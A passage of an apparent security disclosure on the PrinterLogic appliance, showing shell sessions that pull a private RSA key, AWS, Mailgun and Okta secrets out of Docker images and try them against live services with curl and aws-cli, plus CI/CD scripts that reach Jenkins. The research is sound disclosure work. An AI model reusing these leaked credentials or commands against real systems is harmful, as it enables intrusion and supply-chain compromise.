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
-----END RSA PRIVATE KEY-----
kali%
These keys are used in shellscripts:
Content of ./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/microservice-sdk-pkg/.docker-config/entrypoint.sh
:
kali% cat ./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/microservice-sdk-pkg/.docker-config/entrypoint.sh ... cd /var/www/app # We need the build key in our dev environment for running some npm stuff; we have access to the key already because # we are running in our bind-mounted source volume mkdir -p /root/.ssh/ cp /var/www/app/.docker-config/buildkey/key /root/.ssh/id_rsa chmod 600 /root/.ssh/id_rsa
They may also be used for Bitbucket and Github.
For example, it is possible to extract private information about repositories hosted by Bitbucket.
Content of ./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/ms-auth-key-pkg/.git/config
:
kali% less ./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/ms-auth-key-pkg/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = git@bitbucket.org:printerlogicDev/ms-auth-key-pkg.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "develop"]
remote = origin
merge = refs/heads/develop
[remote "composer"]
url = git@bitbucket.org:printerlogicDev/ms-auth-key-pkg.git
fetch = +refs/heads/*:refs/remotes/composer/*
If these keys are used for specific access, an attacker can use them for lateral movements and compromise the Vasion PrinterLogic infrastructure.
The Docker instances contain hardcoded AWS secret API keys.
The remaining docker data from previously installed instances also contain scripts regarding Continuous Integration and Continuous Deployment (CI/CD), with configuration of remote Jenkins servers (buildmaster-01.pl-labs.com and buildmaster-02.pl-labs.com). Using valid AWS secret keys, an attacker can compromise Jenkins servers and ultimately compromise customers using Supply Chain attack.
Extraction of AWS secret key.
Hardcoded AWS keys in Readme.md
, .env
and .env.local
files:
root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www/app# less Readme.md
AWS_ACCESS_KEY_ID: AKIAJ5I5ZX5VQ43PMYIQ
AWS_DEFAULT_REGION: us-west-2
AWS_QUEUE_NAMESPACE: 709423830911
AWS_QUEUE_PREFIX: service-pi_
AWS_SECRET_ACCESS_KEY: (secret key is here)
QUEUE_DRIVER: sqs
root@printerlogic:~# docker exec -it f0e85e3f453e bash
root@f0e85e3f453e:/var/www/app# printenv
AWS_DEFAULT_REGION=us-west-2
AWS_QUEUE_PREFIX=appliance_
AWS_SECRET_ACCESS_KEY=
AWS_DB_BACKUP_BUCKET=appliance-storage-01-us-west-2-dbbackups
AWS_ACCOUNT_ID=
AWS_ACCESS_KEY_ID=
AWS_QUEUE_NAMESPACE=453267620913
root@6eff9ad21815:/var/www/app# cat .env.local
#
# Environment variables expected by config/aws.php and config/queue.php
# Docker will set them at container runtime
#
# AWS variables only apply when QUEUE_CONNECTION=sqs
#AWS_ACCESS_KEY_ID=AKIAIWHNML7OFS67RVKQ
#AWS_SECRET_ACCESS_KEY=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
#AWS_DEFAULT_REGION=us-west-2
#AWS_QUEUE_PREFIX=local_
#AWS_QUEUE_NAMESPACE=453267620913
AWS_ROLE_ARN=arn:aws:iam::${INSTANCE_ACCOUNT_ID:-}:role/engineering/services/pl-migrations-${PRINTERCLOUD_DOMAIN}
root@5513823753ee:/var/www/app# cat .env
#AWS_ACCESS_KEY_ID=AKIAIWHNML7OFS67RVKQ
#AWS_SECRET_ACCESS_KEY=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
cat ./out-images/ca4c2c2f1d1ae20e040f645497fadeb96292efc22af690ae5d6f78629c9d80a5/var/www/app/.env.local
# Docker will set them at container runtime - local environments use database queues, not AWS
#
# AWS_ACCESS_KEY_ID=SECRETS_DO_NOT_BELONG_HERE
# AWS_SECRET_ACCESS_KEY=SECRETS_DO_NOT_BELONG_HERE
AWS_DEFAULT_REGION=us-west-2
AWS_DB_BACKUP_BUCKET=pl-pi-db-backup
# AWS_QUEUE_PREFIX=local_
# AWS_QUEUE_NAMESPACE=453267620913
Laravel may use these keys to store data.
Content of the filesystems.php
configuration file for Laravel:
kali% cat ./www/app/config-laravel/filesystems.php 's3DbBackup' => [ 'driver' => 's3', 'key' => env('AWS_ACCESS_KEY_ID'), 'secret' => env('AWS_SECRET_ACCESS_KEY'), 'region' => env('AWS_DEFAULT_REGION', 'us-west-2'), 'bucket' => env('AWS_DB_BACKUP_BUCKET'), ],
When testing these keys, luckily they do not work:
kali% aws configure
AWS Access Key ID [None]: AKIAIWHNML7OFS67RVKQ
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]: json
kali% aws s3 ls
An error occurred (InvalidAccessKeyId) when calling the ListBuckets operation: The AWS Access Key Id you provided does not exist in our records.
When trying to find other credentials, it appears some AWS buckets are defined in shell scripts:
Grepping BUCKET
in the Docker instances:
./out-images/10daa560935d018324043b3ae4110cc94d91e24ab756da94634f6106b2f69ec6/var/www/app/.env:AWS_DB_BACKUP_BUCKET=pl-pi-db-backup
./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/base/app.env:AWS_DB_BACKUP_BUCKET="${ENVIRONMENT:-prod}-storage-01-${REGION:-us-west-2}-dbbackups"
./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/overlays/service-stack/app.env:AWS_DB_BACKUP_BUCKET=service-${LOCAL_SERVICE}-${REGION:-us-west-2}-dbbackups
This list is not exhaustive and it is recommended to review every Docker instance.
From the script get-aws-secret.sh
, it appears the solution uses AWS Secret Manager to retrieve username and password of the PrinterLogic Jenkins servers (buildmaster-01.pl-labs.com and buildmaster-02.pl-labs.com):
root@printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin# grep get-aws-secret.sh * aws-mon.sh: JENKINS_USERNAME=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access username) aws-mon.sh: JENKINS_PASSWORD=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access password) aws-mon.sh: JENKINS_CREDENTIAL_ID=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access credential_id) root@printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin# cat get-aws-secret.sh #!/bin/bash SECRET_ID=$1 SECRET_KEY=$2 if [[ -z "${SECRET_ID}" ]] ; then echo "You must specify the secret id and key (in that order)" && exit 1 fi if [[ -z "${SECRET_KEY}" ]] ; then echo "You must specify the secret id and key (in that order)" && exit 1 fi # Get the secret SECRET_VALUE=$(aws secretsmanager --output text get-secret-value --secret-id ${SECRET_ID} | awk '{print $4}' | jq -r ".${SECRET_KEY}") if [[ $? -gt 0 ]] || [[ -z "${SECRET_VALUE}" ]] ; then echo "Unable to find a value for id: '${SECRET_ID}' and key: '${SECRET_KEY}'" && exit 1 fi # Release the hounds! echo ${SECRET_VALUE}
After analyzing some shell scripts present in Docker instances, the scripts are also used to execute code on remote Jenkins instances:
Managing buildmaster-01.pl-labs.com:
kali% pwd /home/user/printerlogic/updates/out/out-images/4ecc6d1307c1c74ddccbdc983b2fe024742ec0531265255b5730dcb5afc0fa52 kali% less opt/build/bin/lifecycle-hook-watch.sh #!/bin/bash -l JENKINS_URL=buildmaster-01.pl-labs.com # How long to wait for jenkins jobs to complete before forcefully killing the instance WAIT_MINUTES=45 # Get Jenkins secret info JENKINS_USERNAME=$(get-aws-secret.sh jenkins_access username) JENKINS_PASSWORD=$(get-aws-secret.sh jenkins_access password) JENKINS_CREDENTIAL_ID=$(get-aws-secret.sh jenkins_access credential_id) if [[ -z "${JENKINS_USERNAME}" ]] || [[ -z "${JENKINS_PASSWORD}" ]] || [[ -z "${JENKINS_CREDENTIAL_ID}" ]]; then echo "Missing one or more of jenkins username/password/credential_id" && exit 1 fi # Get a temporary token so we can make a curl requests to jenkins JENKINS_TOKEN=$(curl -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} ''${JENKINS_URL}'/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)') if [[ $? -gt 0 ]] || [[ -z "${JENKINS_TOKEN}" ]]; then echo "Unable to retrieve a token from the jenkins master" && exit 1 fi ... # Mark this node offline so it won't take more jobs echo "Taking node $INSTANCE_IP offline" curl -X POST -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${JENKINS_TOKEN}" ${JENKINS_URL}/computer/linux-build-${INSTANCE_IP}/toggleOffline?offlineMessage=ScalingDown # Check for jobs running on this node, wait if necessary i=0; until [ $i -ge $WAIT_MINUTES ]; do RESP=$(curl -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${JENKINS_TOKEN}" ${JENKINS_URL}/computer/linux-build-${INSTANCE_IP}/loadStatistics/api/json?depth=2) BUSY_EXECS=$(echo $RESP | jq '.busyExecutors.sec10.latest') ... Remove node from Jenkins entirely curl -X POST -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${JENKINS_TOKEN}" ${JENKINS_URL}/computer/linux-build-${INSTANCE_IP}/doDelete
Executing code on buildmaster-01.pl-labs.com:
kali% less opt/build/bin/register-node.sh JENKINS_URL="http://jenkins.pl-labs.com" NODE_IP="${INSTANCE_IP}" ... JENKINS_USERNAME=$(get-aws-secret.sh jenkins_access username) JENKINS_PASSWORD=$(get-aws-secret.sh jenkins_access password) JENKINS_CREDENTIAL_ID=$(get-aws-secret.sh jenkins_access credential_id) ... curl -v -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${TOKEN}" -d 'script= import hudson.model.Node.Mode import hudson.slaves.* import jenkins.model.Jenkins import hudson.plugins.sshslaves.SSHLauncher import hudson.plugins.sshslaves.verifiers.* SshHostKeyVerificationStrategy hostKeyVerificationStrategy = new NonVerifyingKeyVerificationStrategy() DumbSlave dumb = new DumbSlave("'${NODE_NAME}'", "'"${NODE_DESC}"'", "/home/jenkins", "'"${NODE_EXECUTORS}"'", Mode.EXCLUSIVE, "'"${NODE_LABELS}"'", new hudson.plugins.sshslaves.SSHLauncher("'"${NODE_HOST}"'", 22, "'"${JENKINS_CREDENTIAL_ID}"'", null, null, "", "", 210, 0, 0, hostKeyVerificationStrategy), RetentionStrategy.INSTANCE) Jenkins.instance.addNode(dumb) ' ${JENKINS_URL}/script
Some scripts allow monitoring Jenkins, e.g.:
Monitoring a Jenkins server:
printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin# vi aws-mon.sh 25 instanceid=${INSTANCE_ID} 26 azone=${INSTANCE_AZ} 27 region=${REGION} 28 export EC2_REGION=$region [...] 671 if [ $JENKINS_BUILD_EXECUTORS -eq 1 ]; then 672 JENKINS_URL=buildmaster-01.pl-labs.com 673 LOCAL_IP=$(hostname --ip-address) 674 675 # Get Jenkins secret info 676 JENKINS_USERNAME=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access username) 677 JENKINS_PASSWORD=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access password) 678 JENKINS_CREDENTIAL_ID=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access credential_id) 679 if [[ -z "${JENKINS_USERNAME}" ]] || [[ -z "${JENKINS_PASSWORD}" ]] || [[ -z "${JENKINS_CREDENTIAL_ID}" ]]; then 680 echo "Missing one or more of jenkins username/password/credential_id" && exit 1 681 fi 682 683 # Get a temporary token so we can make a curl call to register this node 684 TOKEN=$(curl -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} ''${JENKINS_URL}'/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)') 685 if [[ $? -gt 0 ]] || [[ -z "${TOKEN}" ]]; then 686 echo "Unable to retrieve a token from the jenkins master" && exit 1 687 fi 688 689 # Gather statistics for this build node 690 RESP=$(curl -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${TOKEN}" ${JENKINS_URL}/computer/linux-build-${LOCAL_IP}/loadStatistics/api/json?depth=2) 691 avail_ex=$(echo $RESP | jq '.availableExecutors.sec10.latest') 692 busy_ex=$(echo $RESP | jq '.busyExecutors.sec10.latest') 693 queue_length=$(echo $RESP | jq '.queueLength.sec10.latest') 694 if [ $VERBOSE -eq 1 ]; then 695 echo "Available executors: $avail_ex" 696 echo "Busy executors: $busy_ex" 697 echo "Queue length: $queue_length" 698 fi 699 if [ $VERIFY -eq 0 ]; then 700 aws cloudwatch put-metric-data --metric-name "JenkinsAvailableExecutors" --value "$avail_ex" --unit "Count" $CLOUDWATCH_OPTS 701 aws cloudwatch put-metric-data --metric-name "JenkinsBusyExecutors" --value "$busy_ex" --unit "Count" $CLOUDWATCH_OPTS 702 aws cloudwatch put-metric-data --metric-name "JenkinsQueueLength" --value "$queue_length" --unit "Count" $CLOUDWATCH_OPTS 703 fi
Storing AWS keys in the solution is not a normal situation. If these keys work, attackers can use them to compromise infrastructures and start a supply chain attack against customers.
The CI/CD scripts provide a lot of information to attackers and can be used for lateral movement in order to compromise the PrinterLogic infrastructure.
It is possible to extract Mailgun secret keys from .env files:
root@printerlogic:/var/lib/docker/overlay2# docker exec -it 5513823753ee bash
root@5513823753ee:/var/www/app# cat .env
[...]
MAILGUN_DOMAIN=mg.printerlogic.com
MAILGUN_SECRET=key-d5f3073e938dd40c6a0bda511078a5e8
After testing this API key using the example provided in https://documentation.mailgun.com/en/latest/quickstart-sending.html#send-via-api, the API seems to be inactive:
kali% curl -s --user 'api:key-d5f3073e938dd40c6a0bda511078a5e8' \
https://api.mailgun.net/v3/mg.printerlogic.com/messages \
-F from='Excited User <mailgun@mg.printerlogic.com>' \
-F to=[redacted]@[redacted] \
-F subject='Hello' \
-F text='Testing API key - report PrinterLogic VA'
Forbidden
kali% curl -s --user 'api:d5f3073e938dd40c6a0bda511078a5e8' \
https://api.mailgun.net/v3/mg.printerlogic.com/messages \
-F from='Excited User <mailgun@mg.printerlogic.com>' \
-F to=[redacted]@[redatected] \
-F subject='Hello' \
-F text='Testing API key - report PrinterLogic VA'
Forbidden
While this API key is disabled, it is recommended not to store secret keys in Docker instances.
Okta is a trusted platform for Single Sign-On.
An Okta private key was found along with configuration options in .env files:
kali% grep -i okta **/.env
local secrets="DB_PASSWORD LACEWORK_TOKEN DATADOG_LICENSE OKTA_API_KEY MC_API_PASSWORD MS_AUTH_KEY APP_AWS_SECRET_ACCESS_KEY"
API_OKTA_URL=http://okta.printercloud
local secrets="DB_PASSWORD LACEWORK_TOKEN DATADOG_LICENSE OKTA_API_KEY MC_API_PASSWORD MS_AUTH_KEY APP_AWS_SECRET_ACCESS_KEY"
OKTA_API_KEY=00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ# PHP_IDE_CONFIG identifies the code base to PhpStorm while debugging
OKTA_BASE_URL=https://vasion.okta.com/
OKTA_CLIENT_ID=${WILDEPRINTERS_OKTA_CLIENT_ID:-}
OKTA_CLIENT_SECRET=${WILDEPRINTERS_OKTA_CLIENT_SECRET:-}
OKTA_LOGOUT_REDIRECT_URI=${PRINTERCLOUD_SCHEME:-https}://migration.${PRINTERCLOUD_APP_DOMAIN}/
OKTA_TENANT_URL=${OKTA_TENANT_URL:-https://printerlogicops-admin.okta.com}
OKTA_TENANT_URL=https://acme2.oktapreview.com
API_OKTA_URL=http://okta.printercloud
API_OKTA_URL=https://okta
OKTA_BASE_URL=https://vasion.okta.com/
OKTA_TENANT_URL=${OKTA_TENANT_URL:-https://printerlogicops-admin.okta.com}
OKTA_TENANT_URL=https://acme2.oktapreview.com
# The OKTA_TENANT_URL is currently set in the secrets file for each environment
# Okta Microservice API
API_OKTA_URL=https://okta
API_OKTA_VERIFYSSL=false
After testing this API key, it appears not to be valid:
kali% curl -s -H "Authorization: SSWS 00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" https://vasion.okta.com/api/v1/meta/types/user
{"errorCode":"E0000011","errorSummary":"Invalid token provided","errorLink":"E0000011","errorId":"oaetRN3rSwbROWcHTQRT7uQpA","errorCauses":[]}
kali% curl -s -H "Authorization: SSWS 00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" https://printerlogicops-admin.okta.com/api/v1/meta/types/user
{"errorCode":"E0000011","errorSummary":"Invalid token provided","errorLink":"E0000011","errorId":"oaezEnKwIo6Rsyu6lRJCuu7Jg","errorCauses":[]}
kali% curl -s -kv -H "Authorization: SSWS 00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" https://acme2.oktapreview.com/api/v1/meta/types/user
{"errorCode":"E0000011","errorSummary":"Invalid token provided","errorLink":"E0000011","errorId":"oaekbszU1leTMa0p1PlOjlSuQ","errorCauses":[]}
kali%
Storing private keys in the solution is not a normal situation. If these keys work, attackers can use them to compromise infrastructures and start a supply chain attack against customers.
The solution uses 40 different Docker instances with several networks.
Listing of Docker instances:
root@printerlogic:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh" About an hour ago Up About an hour (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm
a393b51c084e printerlogic/authn:1.0.257 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_authn.1.jx70uxweg3iown085yiuis4j6
7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" About an hour ago Up About an hour (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
69e727ce5901 printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_pi.1.nk5ouy3a7jwid082dhzl0mix5
d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu
ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh" About an hour ago Up About an hour (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz
0ee9b6a63f59 printerlogic/idpi:1.0.6 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_idpi.1.35xxr3pqef00ivcn2no6y90rr
6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" About an hour ago Up About an hour (healthy) 80-81/tcp printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj
11146de0ed76 dperson/samba:latest "/sbin/tini -- /opt/" About an hour ago Up About an hour (healthy) 139/tcp, 137-138/udp, 445/tcp config_samba.1.dfwyt1m90ab30k75fogxhcxcz
7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i
bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l
f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh" About an hour ago Up About an hour (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736
9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may
a2cac82b5586 printerlogic/users:5.186.1 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_users.1.zoorlq8nwkx15smt2cegigo8h
b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1
77c42d53c3b2 mysql:8.0.26 "docker-entrypoint.s" About an hour ago Up About an hour (healthy) 3306/tcp, 33060/tcp storage_mysql.1.ff8nbsv250u5d3vqk9r62ripe
b4f9ccdf92cb printerlogic/gw:1.208.5 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_gw.1.vznnoqqf3kbhcwfwkl3plzi39
ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja
f37db8c79a50 printerlogic/br:1.0.62 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp printercloud_br.1.30m12skgwj5mu3y0ypfkp319q
9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" About an hour ago Up About an hour (healthy) 80/tcp printercloud_identity.1.8x0lwby90079bojeabu8vhead
0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh" About an hour ago Up About an hour (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q
bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4
bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" About an hour ago Up About an hour (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p
171c014430d7 printerlogic/tree:1.0.57 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_tree.1.7n99xw0qv856wjvj3eleaflij
a7656e45349d traefik:latest "/srv/entrypoint.sh" About an hour ago Up About an hour 80/tcp networking_traefik.1.rjigvw3twkt4qkeldzbqbqn2u
8ec8a6bf4555 printerlogic/scim:1.0.9 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scim.1.okyfdbo5ct76v54eppsanw0me
e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy
5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5
d2e3989f4cf3 printerlogic/cpp-ui:1.80.5 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_cpp-ui.1.qhmgeshht9gip0quyhppdogv3
fce5597bbe3d printerlogic/va-cdn:0.0.435 "/docker-entrypoint." About an hour ago Up About an hour 80/tcp printercloud-appliance_va-cdn.1.copecxekt4rwuxfq4tynfm1a6
294dbdd973da printerlogic/scd:1.0.70 "/var/www/app/.docke" About an hour ago Up About an hour 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scd.1.3eef4r68kmkqnc5dcswa3xjhv
6cb464ab04b7 portainer/agent:latest "./agent" About an hour ago Up About an hour printercloud_portainer-agent.a6zgwxfp4n2v4tdi8u7b40shy.aoew1w8ym8p1hai6ch38dau7j
55b64c63a9f6 printerlogic/pq:5.0.124 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 443/tcp, 9000/tcp printercloud_pq.1.vwp9poc8belv24mxwijeeetct
a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" About an hour ago Up About an hour (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx
317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" About an hour ago Up About an hour (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb
6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" About an hour ago Up About an hour printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc
1d856b21e63d redis:5-alpine "docker-entrypoint.s" About an hour ago Up About an hour (healthy) 6379/tcp storage_redis.1.zachure4n159uah7xsu3ixau6
